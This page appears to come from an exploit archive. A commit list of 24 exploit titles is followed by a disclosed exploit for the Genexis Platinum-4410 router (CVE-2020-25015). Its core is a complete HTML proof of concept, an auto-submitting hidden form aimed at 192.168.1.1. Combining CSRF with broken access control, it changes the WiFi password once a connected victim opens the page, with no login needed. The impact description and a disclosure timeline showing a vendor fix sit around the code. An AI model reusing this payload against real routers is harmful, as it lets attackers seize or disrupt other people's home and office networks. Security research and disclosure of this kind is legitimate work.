e797f5230d
24 changes to exploits/shellcodes HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path KMSpico 17.1.0.0 - 'Service KMSELDI' Unquoted Service Path Winstep 18.06.0096 - 'Xtreme Service' Unquoted Service Path OKI sPSV Port Manager 1.0.41 - 'sPSVOpLclSrv' Unquoted Service Path IPTInstaller 4.0.9 - 'PassThru Service' Unquoted Service Path Genexus Protection Server 9.6.4.2 - 'protsrvservice' Unquoted Service Path DigitalPersona 4.5.0.2213 - 'DpHostW' Unquoted Service Path Syncplify.me Server! 5.0.37 - 'SMWebRestServicev5' Unquoted Service Path HP WMI Service 1.4.8.0 - 'HPWMISVC.exe' Unquoted Service Path Motorola Device Manager 2.4.5 - 'ForwardDaemon.exe ' Unquoted Service Path Motorola Device Manager 2.5.4 - 'MotoHelperService.exe' Unquoted Service Path Motorola Device Manager 2.5.4 - 'ForwardDaemon.exe ' Unquoted Service Path Realtek Andrea RT Filters 1.0.64.10 - 'AERTSr64.EXE' Unquoted Service Path MEMU PLAY 3.7.0 - 'MEmusvc' Unquoted Service Path Magic Mouse 2 utilities 2.20 - 'magicmouse2service' Unquoted Service Path iDeskService 3.0.2.1 - 'iDeskService' Unquoted Service Path Canon Inkjet Extended Survey Program 5.1.0.8 - 'IJPLMSVC.EXE' - Unquoted Service Path Deep Instinct Windows Agent 1.2.24.0 - 'DeepNetworkService' Unquoted Service Path RealTimes Desktop Service 18.1.4 - 'rpdsvc.exe' Unquoted Service Path DiskBoss v11.7.28 - Multiple Services Unquoted Service Path Privacy Drive v3.17.0 - 'pdsvc.exe' Unquoted Service Path Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated) Joplin 1.2.6 - 'link' Cross Site Scripting
90 lines
No EOL
4.9 KiB
Text
90 lines
No EOL
4.9 KiB
Text
# Exploit Title: Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF
|
||
# Date: 28-08-2020
|
||
# Vendor Homepage: https://www.gxgroup.eu/ont-products/
|
||
# Exploit Author: Jinson Varghese Behanan (@JinsonCyberSec)
|
||
# Author Advisory: https://www.getastra.com/blog/911/csrf-broken-access-control-in-genexis-platinum-4410/
|
||
# Version: v2.1 (software version P4410-V2-1.28)
|
||
# CVE : CVE-2020-25015
|
||
|
||
1. Description
|
||
|
||
Platinum 4410 is a compact router from Genexis that is commonly used at homes and offices. Hardware version V2.1 – Software version P4410-V2-1.28 was found to be vulnerable to Broken Access Control and CSRF which could be combined to remotely change the WIFI access point’s password.
|
||
|
||
2. Impact
|
||
|
||
An attacker can send the victim a link, which if he clicks while he is connected to the WiFi network established from the vulnerable router, the password of the WIFI access point will get changed via CSRF exploit. As the router is also vulnerable to Broken Access Control, the victim does not need to be logged in to the router’s web-based setup page (192.168.1.1), essentially making this a one-click hack.
|
||
|
||
3. Proof of Concept
|
||
|
||
Create an HTML file with the following code:
|
||
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="http://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
|
||
<input type="hidden" name="wlEnbl" value="ON" />
|
||
<input type="hidden" name="hwlKeys0" value="" />
|
||
<input type="hidden" name="hwlKeys1" value="" />
|
||
<input type="hidden" name="hwlKeys2" value="" />
|
||
<input type="hidden" name="hwlKeys3" value="" />
|
||
<input type="hidden" name="hwlgMode" value="9" />
|
||
<input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
|
||
<input type="hidden" name="hwlEnbl" value="1" />
|
||
<input type="hidden" name="hWPSMode" value="1" />
|
||
<input type="hidden" name="henableSsid" value="1" />
|
||
<input type="hidden" name="hwlHide" value="0" />
|
||
<input type="hidden" name="isInWPSing" value="0" />
|
||
<input type="hidden" name="WpsConfModeAll" value="7" />
|
||
<input type="hidden" name="WpsConfModeNone" value="0" />
|
||
<input type="hidden" name="hWpsStart" value="0" />
|
||
<input type="hidden" name="isCUCSupport" value="0" />
|
||
<input type="hidden" name="SSIDPre" value="N/A" />
|
||
<input type="hidden" name="bwControlhidden" value="0" />
|
||
<input type="hidden" name="ht_bw" value="1" />
|
||
<input type="hidden" name="wlgMode" value="b,g,n" />
|
||
<input type="hidden" name="wlChannel" value="0" />
|
||
<input type="hidden" name="wlTxPwr" value="1" />
|
||
<input type="hidden" name="wlSsidIdx" value="0" />
|
||
<input type="hidden" name="SSID_Flag" value="0" />
|
||
<input type="hidden" name="wlSsid" value="JINSON" />
|
||
<input type="hidden" name="wlMcs" value="33" />
|
||
<input type="hidden" name="bwControl" value="1" />
|
||
<input type="hidden" name="giControl" value="1" />
|
||
<input type="hidden" name="enableSsid" value="on" />
|
||
<input type="hidden" name="wlAssociateNum" value="32" />
|
||
<input type="hidden" name="wlSecurMode" value="WPAand11i" />
|
||
<input type="hidden" name="wlPreauth" value="off" />
|
||
<input type="hidden" name="wlNetReauth" value="1" />
|
||
<input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
|
||
<input type="hidden" name="cb_enablshowpsw" value="on" />
|
||
<input type="hidden" name="wlWpaGtkRekey" value="" />
|
||
<input type="hidden" name="wlRadiusIPAddr" value="" />
|
||
<input type="hidden" name="wlRadiusPort" value="" />
|
||
<input type="hidden" name="wlRadiusKey" value="" />
|
||
<input type="hidden" name="wlWpa" value="TKIPAES" />
|
||
<input type="hidden" name="wlKeyBit" value="64" />
|
||
<input type="hidden" name="wlKeys" value="" />
|
||
<input type="hidden" name="wlKeys" value="" />
|
||
<input type="hidden" name="wlKeys" value="" />
|
||
<input type="hidden" name="wlKeys" value="" />
|
||
<input type="hidden" name="WpsActive" value="0" />
|
||
<input type="hidden" name="wpsmode" value="ap-pbc" />
|
||
<input type="hidden" name="pinvalue" value="" />
|
||
<input type="hidden" name="Save_Flag" value="1" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
<script>
|
||
document.forms[0].submit();
|
||
</script>
|
||
</body>
|
||
</html>
|
||
|
||
Open this file in a browser while you are connected to the WIFI. There is no need for the victim to be logged in to the Router admin panel (192.168.1.1). It can be seen that the WIFI connection is dropped. To reconnect, forget the WIFI connection on your laptop or phone and connect using the newly changed password: NEWPASSWORD
|
||
|
||
|
||
4. PoC Video: https://www.youtube.com/watch?v=nSu5ANDH2Rk&feature=emb_title
|
||
|
||
3. Timeline
|
||
|
||
Vulnerability reported to the Genexis team – August 28, 2020
|
||
Team confirmed firmware release containing fix – September 14, 2020 |